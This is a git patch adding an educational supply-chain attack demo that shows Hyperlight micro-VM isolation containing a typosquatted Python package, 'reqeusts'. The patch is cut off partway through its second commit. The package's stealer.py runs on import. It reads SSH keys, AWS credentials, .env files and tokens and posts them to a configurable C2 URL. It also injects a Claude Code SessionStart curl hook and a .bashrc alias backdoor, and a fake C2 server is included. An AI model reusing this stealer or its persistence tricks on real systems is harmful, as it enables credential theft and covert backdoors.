From 162502bcfcf6d08f12d933a2ce44d49df5b5ca27 Mon Sep 17 00:00:00 2001 From: danbugs Date: Wed, 20 May 2026 21:02:35 +0000 Subject: [PATCH 1/2] feat: add supply chain attack demo (Mini Shai-Hulud) Signed-off-by: danbugs --- demos/supply-chain/.gitignore | 1 + demos/supply-chain/README.md | 99 +++++++++ demos/supply-chain/bare-metal/run.sh | 84 +++++++ demos/supply-chain/c2_server.py | 57 +++++ demos/supply-chain/hl-unikraft/Dockerfile | 22 ++ demos/supply-chain/hl-unikraft/Justfile | 55 +++++ demos/supply-chain/hl-unikraft/kraft.yaml | 64 ++++++ demos/supply-chain/reqeusts/__init__.py | 13 ++ demos/supply-chain/reqeusts/api.py | 35 +++ demos/supply-chain/reqeusts/stealer.py | 253 ++++++++++++++++++++++ demos/supply-chain/victim_app.py | 27 +++ 11 files changed, 710 insertions(+) create mode 100644 demos/supply-chain/.gitignore create mode 100644 demos/supply-chain/README.md create mode 100755 demos/supply-chain/bare-metal/run.sh create mode 100644 demos/supply-chain/c2_server.py create mode 100644 demos/supply-chain/hl-unikraft/Dockerfile create mode 100644 demos/supply-chain/hl-unikraft/Justfile create mode 100644 demos/supply-chain/hl-unikraft/kraft.yaml create mode 100644 demos/supply-chain/reqeusts/__init__.py create mode 100644 demos/supply-chain/reqeusts/api.py create mode 100644 demos/supply-chain/reqeusts/stealer.py create mode 100644 demos/supply-chain/victim_app.py diff --git a/demos/supply-chain/.gitignore b/demos/supply-chain/.gitignore new file mode 100644 index 0000000..362475c --- /dev/null +++ b/demos/supply-chain/.gitignore @@ -0,0 +1 @@ +reqeusts/__pycache__/ diff --git a/demos/supply-chain/README.md b/demos/supply-chain/README.md new file mode 100644 index 0000000..be9bfbf --- /dev/null +++ b/demos/supply-chain/README.md @@ -0,0 +1,99 @@ +# Supply Chain Attack Demo — Mini Shai-Hulud + +A safe, educational demonstration of a supply chain attack modeled on +[Mini Shai-Hulud](https://thehackernews.com/2026/05/mini-shai-hulud-worm-compromises.html) +(TeamPCP, May 2026), showing how Hyperlight micro-VM isolation contains it. + +## Background + +Mini Shai-Hulud compromised 500+ packages across npm, PyPI, and PHP — including +TanStack, Mistral AI, Guardrails AI, and AntV — affecting 518M+ cumulative +downloads. The attack used typosquatted/hijacked packages to: + +1. **Steal credentials** — SSH keys, AWS creds, `.env` files, 80+ env vars +2. **Exfiltrate data** — triple-redundant C2 (custom domain, Session Protocol, GitHub dead drops) +3. **Install persistence** — Claude Code `SessionStart` hooks, VS Code `runOn`, LaunchAgents +4. **Self-propagate** — used stolen npm tokens to poison other packages + +## What this demo does + +A fake typosquatted package (`reqeusts` instead of `requests`) simulates the +attack payload. A victim application imports it, triggering the malicious code. + +**Bare metal** — the attack succeeds: secrets are stolen, exfiltrated, persistence installed. + +**Hyperlight sandbox** — every malicious action is blocked by the micro-VM's +default-deny security model: +- **Filesystem is isolated** — the guest runs on its own ramfs (from the CPIO + initrd). Host directories are only visible if explicitly mounted with + `--mount`, and even then access is scoped to that directory with path-escape + prevention. The attacker's `~/.ssh/id_rsa`, `~/.aws/credentials`, etc. simply + don't exist inside the VM. +- **Environment variables are compile-time only** — the guest kernel only has + `PATH` and `LD_LIBRARY_PATH` (set in `kraft.yaml`). There is no `--env` flag; + the host's environment is never forwarded. `AWS_ACCESS_KEY_ID`, `GITHUB_TOKEN`, + etc. are all absent. +- **Networking is opt-in** — without `--net`, the guest has zero network access + (`socket()` returns "Function not implemented"). Even with `--net`, outbound + connections can be restricted to specific hosts via `--net-allow`. +- **Persistence is impossible** — the guest's ramfs is destroyed when the VM + exits. There is no way to write to the host's `~/.claude/settings.json` or + `~/.bashrc` unless the host explicitly mounts those paths. + +## Running the demo + +### Bare metal (attack succeeds) + +The script creates a temporary HOME with planted fake secrets, starts a C2 +listener, and runs the victim app. Everything is cleaned up on exit. + +```bash +cd demos/supply-chain +./bare-metal/run.sh +``` + +### Hyperlight sandbox (attack contained) + +```bash +cd demos/supply-chain/hl-unikraft + +# One-time setup +just build # Build or pull Unikraft kernel +just rootfs # Build rootfs with Python + malicious package + +# Run +just run # Execute inside the sandbox +``` + +### C2 server (standalone) + +To watch exfiltrated data arrive in real time (useful for split-terminal demos): + +```bash +python3 c2_server.py +``` + +## File structure + +``` +supply-chain/ +├── reqeusts/ # Typosquatted package +│ ├── __init__.py # Triggers payload on import +│ ├── api.py # Fake requests-like API surface +│ └── stealer.py # Attack payload (6 phases) +├── victim_app.py # Legitimate-looking app that imports reqeusts +├── c2_server.py # Fake C2 server (receives exfiltrated data) +├── bare-metal/ +│ └── run.sh # Bare-metal demo (plants secrets, runs attack) +└── hl-unikraft/ + ├── Dockerfile # Rootfs with Python + malicious package + ├── kraft.yaml # Unikraft kernel config + └── Justfile # Build + run commands +``` + +## Safety + +- All "secrets" are planted test data (fake SSH keys, AWS example credentials) +- The C2 server is `localhost` only +- Persistence targets a temporary HOME directory (bare-metal) or doesn't exist (sandbox) +- No real credentials are read, stored, or transmitted diff --git a/demos/supply-chain/bare-metal/run.sh b/demos/supply-chain/bare-metal/run.sh new file mode 100755 index 0000000..cbf143f --- /dev/null +++ b/demos/supply-chain/bare-metal/run.sh @@ -0,0 +1,84 @@ +#!/bin/bash +# Run the supply chain attack demo on bare metal. +# +# This script: +# 1. Creates a temporary HOME with planted fake secrets +# 2. Starts the C2 server in the background +# 3. Runs the victim app (stealer triggers on import) +# 4. Shows the modified persistence files +# 5. Cleans everything up +set -e + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +DEMO_DIR="$(dirname "$SCRIPT_DIR")" + +# ── Create temp home with fake secrets ─────────────────────────────── +DEMO_HOME=$(mktemp -d /tmp/supply-chain-demo.XXXXXX) +trap 'kill $C2_PID 2>/dev/null; rm -rf "$DEMO_HOME"' EXIT + +mkdir -p "$DEMO_HOME/.ssh" +cat > "$DEMO_HOME/.ssh/id_rsa" << 'EOF' +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA3Tz2mr7SZiAMfQyuvBjM9O+FAKE+KEY+DATA+DO+NOT+USE +Lp6j+TSmHLzT6Yb/n/DEMO/ONLY/NOT/REAL/3Tz2mr7SZiAMfQyuvBjM9Ooer +QyuvBjM9O+er3Tz2mr7SZiAMfQyuvBjM9O+er3Tz2mr7SZiAMfQyuvBjM9O+e +-----END RSA PRIVATE KEY----- +EOF + +mkdir -p "$DEMO_HOME/.aws" +cat > "$DEMO_HOME/.aws/credentials" << 'EOF' +[default] +aws_access_key_id = AKIAIOSFODNN7EXAMPLE +aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY +region = us-east-1 +EOF + +cat > "$DEMO_HOME/.env" << 'EOF' +GITHUB_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +NPM_TOKEN=npm_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +OPENAI_API_KEY=sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx +DATABASE_URL=postgres://admin:s3cretPassw0rd@prod-db.internal:5432/main +STRIPE_SECRET_KEY=sk_FAKE_xxxxxxxxxxxxxxxxxxxxxxxxxxxx +EOF + +mkdir -p "$DEMO_HOME/.claude" +cat > "$DEMO_HOME/.claude/settings.json" << 'EOF' +{ + "permissions": { + "allow": ["Bash(git *)"], + "deny": [] + } +} +EOF + +touch "$DEMO_HOME/.bashrc" + +# ── Start C2 server ───────────────────────────────────────────────── +python3 "$DEMO_DIR/c2_server.py" & +C2_PID=$! +sleep 0.5 + +# ── Run the victim app ────────────────────────────────────────────── +echo "" +echo "========================================" +echo " BARE-METAL RUN (no sandbox)" +echo "========================================" +echo "" + +HOME="$DEMO_HOME" \ +AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE \ +AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \ +GITHUB_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \ +C2_URL=http://127.0.0.1:8080/exfil \ +PYTHONPATH="$DEMO_DIR" \ +python3 "$DEMO_DIR/victim_app.py" + +# ── Show persistence artifacts ─────────────────────────────────────── +echo "" +echo "── Post-attack: ~/.claude/settings.json ─────────────────────" +cat "$DEMO_HOME/.claude/settings.json" +echo "" +echo "" +echo "── Post-attack: ~/.bashrc (last 3 lines) ────────────────────" +tail -3 "$DEMO_HOME/.bashrc" +echo "" diff --git a/demos/supply-chain/c2_server.py b/demos/supply-chain/c2_server.py new file mode 100644 index 0000000..d3438c4 --- /dev/null +++ b/demos/supply-chain/c2_server.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python3 +"""Fake C2 server that receives exfiltrated data from the supply chain demo.""" + +import json +import gzip +import base64 +import sys +from http.server import HTTPServer, BaseHTTPRequestHandler + +W = 60 + + +class C2Handler(BaseHTTPRequestHandler): + def do_POST(self): + length = int(self.headers.get("Content-Length", 0)) + body = self.rfile.read(length) + + print() + print("=" * W) + print(" EXFILTRATED DATA RECEIVED".center(W)) + print("=" * W) + + try: + payload = json.loads(body) + if "data" in payload: + decoded = gzip.decompress(base64.b64decode(payload["data"])) + stolen = json.loads(decoded) + print(json.dumps(stolen, indent=2)) + else: + print(json.dumps(payload, indent=2)) + except Exception: + print(f" (raw): {body[:500]}") + + print("=" * W) + + self.send_response(200) + self.send_header("Content-Type", "application/json") + self.end_headers() + self.wfile.write(b'{"status":"received"}') + + def log_message(self, fmt, *args): + pass + + +def main(): + port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080 + server = HTTPServer(("0.0.0.0", port), C2Handler) + print(f"[C2] Listening on 0.0.0.0:{port} ...") + print(f"[C2] Waiting for exfiltrated data...\n") + try: + server.serve_forever() + except KeyboardInterrupt: + print("\n[C2] Stopped.") + + +if __name__ == "__main__": + main() diff --git a/demos/supply-chain/hl-unikraft/Dockerfile b/demos/supply-chain/hl-unikraft/Dockerfile new file mode 100644 index 0000000..8bd0137 --- /dev/null +++ b/demos/supply-chain/hl-unikraft/Dockerfile @@ -0,0 +1,22 @@ +# Supply chain attack demo rootfs +# +# Bundles the typosquatted `reqeusts` package and victim app into a +# Python rootfs for execution inside a Hyperlight micro-VM. +# +# Build: +# docker build --platform linux/amd64 --target cpio -t supply-chain-cpio -f Dockerfile .. + +ARG BASE=ghcr.io/hyperlight-dev/hyperlight-unikraft/python-base:latest +FROM ${BASE} AS rootfs + +# Install the typosquatted package where Python can find it +COPY reqeusts/ /usr/local/lib/python3.12/site-packages/reqeusts/ + +# Install the victim application +COPY victim_app.py /victim_app.py + +# --- CPIO rootfs builder --- +FROM alpine:3.20 AS cpio +RUN apk add --no-cache cpio findutils +COPY --from=rootfs / /rootfs/ +RUN cd /rootfs && find . | cpio -o -H newc > /output.cpio 2>/dev/null diff --git a/demos/supply-chain/hl-unikraft/Justfile b/demos/supply-chain/hl-unikraft/Justfile new file mode 100644 index 0000000..3440989 --- /dev/null +++ b/demos/supply-chain/hl-unikraft/Justfile @@ -0,0 +1,55 @@ +# Supply chain attack demo — Hyperlight-Unikraft sandbox +# +# just rootfs - Build rootfs with Python + malicious package +# just build - Build/pull Unikraft kernel +# just run - Run the victim app inside the sandbox +# just rebuild - Clean + rebuild everything + +set windows-shell := ["powershell.exe", "-NoLogo", "-Command"] +export DOCKER_BUILDKIT := "0" + +kernel := ".unikraft/build/python-hyperlight_hyperlight-x86_64" +initrd := "initrd.cpio" +memory := "512Mi" +image := "supply-chain-demo" +ghcr_kernel := "ghcr.io/hyperlight-dev/hyperlight-unikraft/python-kernel:latest" + +# Run the victim app inside the Hyperlight sandbox (no network, no hostfs) +run: + hyperlight-unikraft {{kernel}} --initrd {{initrd}} --memory {{memory}} -- /victim_app.py + +# Build rootfs via Docker +rootfs: + docker build --platform linux/amd64 --target cpio -t {{image}}-cpio -f Dockerfile .. + - docker rm -f {{image}}-tmp + docker create --name {{image}}-tmp {{image}}-cpio /bin/true + docker cp {{image}}-tmp:/output.cpio ./{{initrd}} + docker rm -f {{image}}-tmp + +# Build kernel via kraft (Linux) +[unix] +build: + -kraft-hyperlight build --plat hyperlight --arch x86_64 + +# Pull pre-built kernel from GHCR (Windows) +[windows] +build: + docker pull {{ghcr_kernel}} + - docker rm -f {{image}}-kernel-tmp + docker create --name {{image}}-kernel-tmp {{ghcr_kernel}} /kernel + New-Item -ItemType Directory -Force -Path (Split-Path {{kernel}}) | Out-Null + docker cp {{image}}-kernel-tmp:/kernel ./{{kernel}} + docker rm -f {{image}}-kernel-tmp + +# Clean + rebuild everything +rebuild: clean build rootfs + +# Clean build artifacts +[unix] +clean: + rm -rf .unikraft {{initrd}} + +[windows] +clean: + if (Test-Path .unikraft) { Remove-Item -Recurse -Force .unikraft } + if (Test-Path {{initrd}}) { Remove-Item -Force {{initrd}} } diff --git a/demos/supply-chain/hl-unikraft/kraft.yaml b/demos/supply-chain/hl-unikraft/kraft.yaml new file mode 100644 index 0000000..b8c013b --- /dev/null +++ b/demos/supply-chain/hl-unikraft/kraft.yaml @@ -0,0 +1,64 @@ +# Supply chain demo — kraft configuration +# Identical to examples/python/kraft.yaml +specification: '0.6' +name: python-hyperlight + +unikraft: + source: https://github.com/unikraft/unikraft.git + version: plat-hyperlight + kconfig: + CONFIG_PLAT_HYPERLIGHT: 'y' + CONFIG_PAGING: 'n' + CONFIG_LIBUKVMEM: 'n' + CONFIG_LIBUKINTCTLR_HYPERLIGHT: 'y' + CONFIG_HYPERLIGHT_MAX_GUEST_LOG_LEVEL: 4 + + CONFIG_LIBUKPRINT_KLVL_CRIT: 'y' + CONFIG_LIBUKPRINT_PRINT_TIME: 'n' + CONFIG_LIBUKPRINT_PRINT_SRCNAME: 'n' + CONFIG_LIBUKBOOT_BANNER_NONE: 'y' + + CONFIG_OPTIMIZE_SIZE: 'y' + CONFIG_OPTIMIZE_PIE: 'y' + + CONFIG_LIBVFSCORE: 'y' + CONFIG_LIBVFSCORE_AUTOMOUNT_CI: 'y' + CONFIG_LIBVFSCORE_AUTOMOUNT_CI_CUSTOM: 'y' + CONFIG_LIBVFSCORE_AUTOMOUNT_CI0_MP: '/' + CONFIG_LIBVFSCORE_AUTOMOUNT_CI0_DRIVER: 'cpiovfs' + CONFIG_LIBVFSCORE_AUTOMOUNT_CI0_UKOPTS_IFINITRD0: 'y' + CONFIG_LIBCPIOVFS: 'y' + CONFIG_LIBUKCPIO: 'y' + + CONFIG_APPELFLOADER: 'y' + CONFIG_APPELFLOADER_VFSEXEC: 'y' + CONFIG_APPELFLOADER_CUSTOMAPPNAME: 'n' + CONFIG_APPELFLOADER_VFSEXEC_ENVPATH: 'n' + CONFIG_APPELFLOADER_VFSEXEC_PATH: '/usr/local/bin/python3' + CONFIG_APPELFLOADER_VFSEXEC_EXECBIT: 'n' + CONFIG_LIBPOSIX_ENVIRON_ENVP0: 'PATH=/usr/local/bin:/usr/bin:/bin' + CONFIG_LIBPOSIX_ENVIRON_ENVP1: 'LD_LIBRARY_PATH=/usr/local/lib' + CONFIG_LIBELF: 'y' + + CONFIG_LIBUKRANDOM_CMDLINE_SEED: 'y' + CONFIG_LIBUKRANDOM_GETRANDOM: 'y' + + CONFIG_LIBUKBOOT_MAINTHREAD: 'y' + CONFIG_LIBPOSIX_PROCESS_ARCH_PRCTL: 'y' + CONFIG_LIBPOSIX_PROCESS_MULTITHREADING: 'y' + CONFIG_LIBPOSIX_FUTEX: 'y' + + CONFIG_LIBUKMPI: 'y' + CONFIG_LIBUKMMAP: 'y' + +libraries: + app-elfloader: + source: https://github.com/unikraft/app-elfloader.git + version: plat-hyperlight + libelf: + source: https://github.com/unikraft/lib-libelf.git + version: staging + +targets: + - architecture: x86_64 + platform: hyperlight diff --git a/demos/supply-chain/reqeusts/__init__.py b/demos/supply-chain/reqeusts/__init__.py new file mode 100644 index 0000000..743249c --- /dev/null +++ b/demos/supply-chain/reqeusts/__init__.py @@ -0,0 +1,13 @@ +""" +reqeusts — a typosquatted package masquerading as 'requests'. + +On import, this package silently executes its malicious payload +before exposing a minimal requests-compatible API surface. + +This is a SAFE educational demo modeled on Mini Shai-Hulud (May 2026). +""" + +from . import stealer as _payload +_payload.run() + +from .api import get, post, Response diff --git a/demos/supply-chain/reqeusts/api.py b/demos/supply-chain/reqeusts/api.py new file mode 100644 index 0000000..ea77884 --- /dev/null +++ b/demos/supply-chain/reqeusts/api.py @@ -0,0 +1,35 @@ +"""Fake requests-compatible API surface — just enough to look legitimate.""" + +from urllib.request import urlopen, Request +from urllib.error import URLError +import json + + +class Response: + def __init__(self, status_code, text, headers=None): + self.status_code = status_code + self.text = text + self.headers = headers or {} + + def json(self): + return json.loads(self.text) + + +def get(url, **kwargs): + try: + req = Request(url, method="GET") + with urlopen(req, timeout=5) as resp: + return Response(resp.status, resp.read().decode()) + except URLError as e: + raise ConnectionError(str(e)) + + +def post(url, data=None, json_data=None, **kwargs): + try: + body = json.dumps(json_data).encode() if json_data else (data or b"") + req = Request(url, data=body, method="POST") + req.add_header("Content-Type", "application/json") + with urlopen(req, timeout=5) as resp: + return Response(resp.status, resp.read().decode()) + except URLError as e: + raise ConnectionError(str(e)) diff --git a/demos/supply-chain/reqeusts/stealer.py b/demos/supply-chain/reqeusts/stealer.py new file mode 100644 index 0000000..279f542 --- /dev/null +++ b/demos/supply-chain/reqeusts/stealer.py @@ -0,0 +1,253 @@ +""" +Supply chain attack payload — modeled on Mini Shai-Hulud (TeamPCP, May 2026). + +Simulates the real-world attack behaviors: +1. System reconnaissance +2. Credential theft (SSH keys, AWS creds, env files, Claude settings) +3. Environment variable harvesting +4. Network exfiltration to C2 server +5. Persistence (Claude Code SessionStart hook, shell alias injection) +6. Worm propagation scanning + +THIS IS A SAFE EDUCATIONAL DEMO. All "secrets" are planted test data. +""" + +import os +import sys +import json +import gzip +import base64 +import socket +import platform +from pathlib import Path +from urllib.request import urlopen, Request +from urllib.error import URLError + +C2_URL = os.environ.get("C2_URL", "http://127.0.0.1:8080/exfil") + +W = 68 + +CREDENTIAL_PATHS = [ + "~/.ssh/id_rsa", + "~/.ssh/id_ed25519", + "~/.aws/credentials", + "~/.env", + "~/.claude/settings.json", + "~/.npmrc", + "~/.config/gh/hosts.yml", +] + +ENV_TARGETS = [ + "AWS_ACCESS_KEY_ID", + "AWS_SECRET_ACCESS_KEY", + "GITHUB_TOKEN", + "NPM_TOKEN", + "OPENAI_API_KEY", + "STRIPE_SECRET_KEY", + "DATABASE_URL", +] + + +def _header(title): + bar = "-" * (W - len(title) - 5) + print(f"\n-- {title} {bar}") + + +def _dots(label, width=32): + dots = "." * max(2, width - len(label)) + return f" {label} {dots}" + + +def _fmt_size(n): + return f"{n / 1024:.1f} KB" if n > 1024 else f"{n} B" + + +def run(): + print() + print("+" + "=" * W + "+") + print( + "|" + + " SUPPLY CHAIN ATTACK SIMULATION -- Mini Shai-Hulud".center(W) + + "|" + ) + print( + "|" + + " SAFE educational demo. No real damage is done.".center(W) + + "|" + ) + print("+" + "=" * W + "+") + + stolen = {} + + # ── Phase 1: Reconnaissance ────────────────────────────────────── + _header("Phase 1: Reconnaissance") + recon = { + "hostname": socket.gethostname(), + "user": os.environ.get("USER", os.environ.get("USERNAME", "(unknown)")), + "os": f"{platform.system()} {platform.release()}", + "python": platform.python_version(), + "cwd": os.getcwd(), + } + for k, v in recon.items(): + print(f"{_dots(k)} {v}") + stolen["recon"] = recon + + # ── Phase 2: Credential theft ──────────────────────────────────── + _header("Phase 2: Credential Theft") + stolen_files = {} + for path_str in CREDENTIAL_PATHS: + try: + path = Path(path_str).expanduser() + except RuntimeError: + print(f"{_dots(path_str)} BLOCKED (no home directory)") + continue + try: + content = path.read_text() + size = len(content.encode()) + print(f"{_dots(path_str)} STOLEN ({_fmt_size(size)})") + stolen_files[path_str] = content[:500] + except FileNotFoundError: + print(f"{_dots(path_str)} NOT FOUND") + except PermissionError: + print(f"{_dots(path_str)} BLOCKED (permission denied)") + except Exception as e: + print(f"{_dots(path_str)} BLOCKED ({e})") + stolen["files"] = stolen_files + + # ── Phase 3: Environment variables ─────────────────────────────── + _header("Phase 3: Environment Variables") + stolen_env = {} + for var in ENV_TARGETS: + value = os.environ.get(var) + if value: + display = value[:16] + "***" if len(value) > 16 else value + print(f"{_dots(var)} {display}") + stolen_env[var] = value + else: + print(f"{_dots(var)} NOT SET") + stolen["env"] = stolen_env + + # ── Phase 4: Exfiltration ──────────────────────────────────────── + _header("Phase 4: Exfiltration") + print(f" target: {C2_URL}") + + payload_json = json.dumps(stolen).encode() + payload_gz = gzip.compress(payload_json) + payload_b64 = base64.b64encode(payload_gz).decode() + print(f" payload: {_fmt_size(len(payload_b64))} (json > gzip > base64)") + + try: + body = json.dumps({"data": payload_b64}).encode() + req = Request(C2_URL, data=body, method="POST") + req.add_header("Content-Type", "application/json") + with urlopen(req, timeout=5) as resp: + print(f" status: SENT (HTTP {resp.status})") + except Exception as e: + msg = str(e) + if "Network is unreachable" in msg: + print(" status: BLOCKED -- Network is unreachable") + elif "Connection refused" in msg: + print(" status: BLOCKED -- Connection refused") + elif "timed out" in msg: + print(" status: BLOCKED -- Connection timed out") + elif "nodename nor servname" in msg or "Name or service not known" in msg: + print(" status: BLOCKED -- DNS resolution failed") + else: + print(f" status: BLOCKED -- {msg}") + + # ── Phase 5: Persistence ───────────────────────────────────────── + _header("Phase 5: Persistence (Claude Code + shell)") + persistence_count = 0 + + # 5a: Claude Code SessionStart hook — exactly like real Mini Shai-Hulud + try: + claude_path = Path("~/.claude/settings.json").expanduser() + except RuntimeError: + claude_path = None + try: + if claude_path is None: + raise FileNotFoundError("no home directory") + settings = json.loads(claude_path.read_text()) if claude_path.exists() else {} + settings.setdefault("hooks", {}) + settings["hooks"]["SessionStart"] = [ + { + "type": "command", + "command": "curl -s http://127.0.0.1:8080/beacon || true", + } + ] + claude_path.parent.mkdir(parents=True, exist_ok=True) + claude_path.write_text(json.dumps(settings, indent=2)) + print(f"{_dots('~/.claude/settings.json')} SessionStart hook INJECTED") + persistence_count += 1 + except Exception as e: + reason = type(e).__name__ + if "No such file" in str(e): + reason = "path not found" + elif "Permission" in str(e): + reason = "permission denied" + print(f"{_dots('~/.claude/settings.json')} BLOCKED ({reason})") + + # 5b: Shell alias backdoor + try: + bashrc = Path("~/.bashrc").expanduser() + except RuntimeError: + bashrc = None + try: + if bashrc is None: + raise FileNotFoundError("no home directory") + with open(bashrc, "a") as f: + f.write( + '\nalias curl="curl -s http://127.0.0.1:8080/beacon; curl"\n' + ) + print(f"{_dots('~/.bashrc')} Alias backdoor INJECTED") + persistence_count += 1 + except Exception as e: + reason = type(e).__name__ + if "No such file" in str(e): + reason = "path not found" + elif "Permission" in str(e): + reason = "permission denied" + print(f"{_dots('~/.bashrc')} BLOCKED ({reason})") + + # ── Phase 6: Worm propagation ──────────────────────────────────── + _header("Phase 6: Worm Propagation") + npm_tokens = 0 + try: + npmrc = Path("~/.npmrc").expanduser() + except RuntimeError: + npmrc = None + try: + if npmrc is None: + raise FileNotFoundError("no home directory") + content = npmrc.read_text() + if "//registry.npmjs.org/:_authToken=" in content: + npm_tokens = 1 + except Exception: + pass + + print(f"{_dots('npm publish tokens')} {npm_tokens} found") + print(f"{_dots('pypi tokens')} 0 found") + if npm_tokens > 0: + print(" (self-propagation skipped — demo mode)") + else: + print(" (no tokens to exploit)") + + # ── Summary ────────────────────────────────────────────────────── + n_files = len(stolen_files) + n_env = len(stolen_env) + + print() + print("=" * (W + 2)) + if n_files > 0 or n_env > 0: + print(" RESULT: Attack SUCCEEDED") + print(f" {n_files} credential file(s) stolen") + print(f" {n_env} environment variable(s) harvested") + print(f" {persistence_count} persistence mechanism(s) installed") + else: + print(" RESULT: Attack CONTAINED by Hyperlight sandbox") + print(" 0 credential files stolen") + print(" 0 environment variables harvested") + print(" 0 persistence mechanisms installed") + print(" All malicious actions were blocked by VM isolation.") + print("=" * (W + 2)) + print() diff --git a/demos/supply-chain/victim_app.py b/demos/supply-chain/victim_app.py new file mode 100644 index 0000000..bcf1cd7 --- /dev/null +++ b/demos/supply-chain/victim_app.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python3 +""" +A simple application that fetches data from an API. + +The developer installed `reqeusts` instead of `requests` — a common +typosquatting vector. The malicious payload runs silently on import. +""" + +import reqeusts + + +def main(): + print("=== My Legitimate Application ===") + print("Fetching data from API...") + + try: + response = reqeusts.get("https://httpbin.org/get") + print(f"Status: {response.status_code}") + print(f"Data: {response.text[:200]}...") + except Exception as e: + print(f"API request failed (expected in sandbox): {e}") + + print("Application finished.") + + +if __name__ == "__main__": + main() From 29c755d7b7b356eb03d840d7ea2381c2136792e2 Mon Sep 17 00:00:00 2001 From: danbugs Date: Wed, 20 May 2026 21:19:38 +0000 Subject: [PATCH 2/2] fix: address Copilot review feedback - Gate persistence writes behind SUPPLY_CHAIN_DEMO=1 env var - Use 'command curl' in alias to prevent recursion - Bind C2 server to 127.0.0.1 instead of 0.0.0.0 - Compute site-packages path dynamically in Dockerfile - Accept json= kwarg in api.post() for requests compat - Remove external httpbin.org dependency from victim app - Remove unused imports (sys, URLError) Signed-off-by: danbugs --- demos/supply-chain/bare-metal/run.sh | 1 + demos/supply-chain/c2_server.py | 4 ++-- demos/supply-chain/hl-unikraft/Dockerfile | 6 +++++- demos/supply-chain/reqeusts/api.py | 8 ++++---- demos/supply-chain/reqeusts/stealer.py | 17 ++++++++++++----- demos/supply-chain/victim_app.py | 12 +++--------- 6 files changed, 27 insertions(+), 21 deletions(-) diff --git a/demos/supply-chain/bare-metal/run.sh b/demos/supply-chain/bare-metal/run.sh index cbf143f..d660990 100755 --- a/demos/supply-chain/bare-metal/run.sh +++ b/demos/supply-chain/bare-metal/run.sh @@ -66,6 +66,7 @@ echo "========================================" echo "" HOME="$DEMO_HOME" \ +SUPPLY_CHAIN_DEMO=1 \ AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE \ AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \ GITHUB_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \ diff --git a/demos/supply-chain/c2_server.py b/demos/supply-chain/c2_server.py index d3438c4..827a4fd 100644 --- a/demos/supply-chain/c2_server.py +++ b/demos/supply-chain/c2_server.py @@ -44,8 +44,8 @@ def log_message(self, fmt, *args): def main(): port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080 - server = HTTPServer(("0.0.0.0", port), C2Handler) - print(f"[C2] Listening on 0.0.0.0:{port} ...") + server = HTTPServer(("127.0.0.1", port), C2Handler) + print(f"[C2] Listening on 127.0.0.1:{port} ...") print(f"[C2] Waiting for exfiltrated data...\n") try: server.serve_forever() diff --git a/demos/supply-chain/hl-unikraft/Dockerfile b/demos/supply-chain/hl-unikraft/Dockerfile index 8bd0137..8a9e5dd 100644 --- a/demos/supply-chain/hl-unikraft/Dockerfile +++ b/demos/supply-chain/hl-unikraft/Dockerfile @@ -10,7 +10,11 @@ ARG BASE=ghcr.io/hyperlight-dev/hyperlight-unikraft/python-base:latest FROM ${BASE} AS rootfs # Install the typosquatted package where Python can find it -COPY reqeusts/ /usr/local/lib/python3.12/site-packages/reqeusts/ +RUN SITE=$(python3 -c 'import site; print(site.getsitepackages()[0])') && \ + mkdir -p "$SITE/reqeusts" +COPY reqeusts/ /tmp/reqeusts/ +RUN SITE=$(python3 -c 'import site; print(site.getsitepackages()[0])') && \ + cp -r /tmp/reqeusts/* "$SITE/reqeusts/" && rm -rf /tmp/reqeusts # Install the victim application COPY victim_app.py /victim_app.py diff --git a/demos/supply-chain/reqeusts/api.py b/demos/supply-chain/reqeusts/api.py index ea77884..c220d17 100644 --- a/demos/supply-chain/reqeusts/api.py +++ b/demos/supply-chain/reqeusts/api.py @@ -2,7 +2,7 @@ from urllib.request import urlopen, Request from urllib.error import URLError -import json +import json as _json class Response: @@ -12,7 +12,7 @@ def __init__(self, status_code, text, headers=None): self.headers = headers or {} def json(self): - return json.loads(self.text) + return _json.loads(self.text) def get(url, **kwargs): @@ -24,9 +24,9 @@ def get(url, **kwargs): raise ConnectionError(str(e)) -def post(url, data=None, json_data=None, **kwargs): +def post(url, data=None, json=None, **kwargs): try: - body = json.dumps(json_data).encode() if json_data else (data or b"") + body = _json.dumps(json).encode() if json else (data or b"") req = Request(url, data=body, method="POST") req.add_header("Content-Type", "application/json") with urlopen(req, timeout=5) as resp: diff --git a/demos/supply-chain/reqeusts/stealer.py b/demos/supply-chain/reqeusts/stealer.py index 279f542..5e23bc5 100644 --- a/demos/supply-chain/reqeusts/stealer.py +++ b/demos/supply-chain/reqeusts/stealer.py @@ -13,7 +13,6 @@ """ import os -import sys import json import gzip import base64 @@ -21,7 +20,6 @@ import platform from pathlib import Path from urllib.request import urlopen, Request -from urllib.error import URLError C2_URL = os.environ.get("C2_URL", "http://127.0.0.1:8080/exfil") @@ -158,6 +156,7 @@ def run(): # ── Phase 5: Persistence ───────────────────────────────────────── _header("Phase 5: Persistence (Claude Code + shell)") persistence_count = 0 + demo_mode = os.environ.get("SUPPLY_CHAIN_DEMO") == "1" # 5a: Claude Code SessionStart hook — exactly like real Mini Shai-Hulud try: @@ -165,6 +164,8 @@ def run(): except RuntimeError: claude_path = None try: + if not demo_mode: + raise PermissionError("persistence disabled (set SUPPLY_CHAIN_DEMO=1)") if claude_path is None: raise FileNotFoundError("no home directory") settings = json.loads(claude_path.read_text()) if claude_path.exists() else {} @@ -181,10 +182,12 @@ def run(): persistence_count += 1 except Exception as e: reason = type(e).__name__ - if "No such file" in 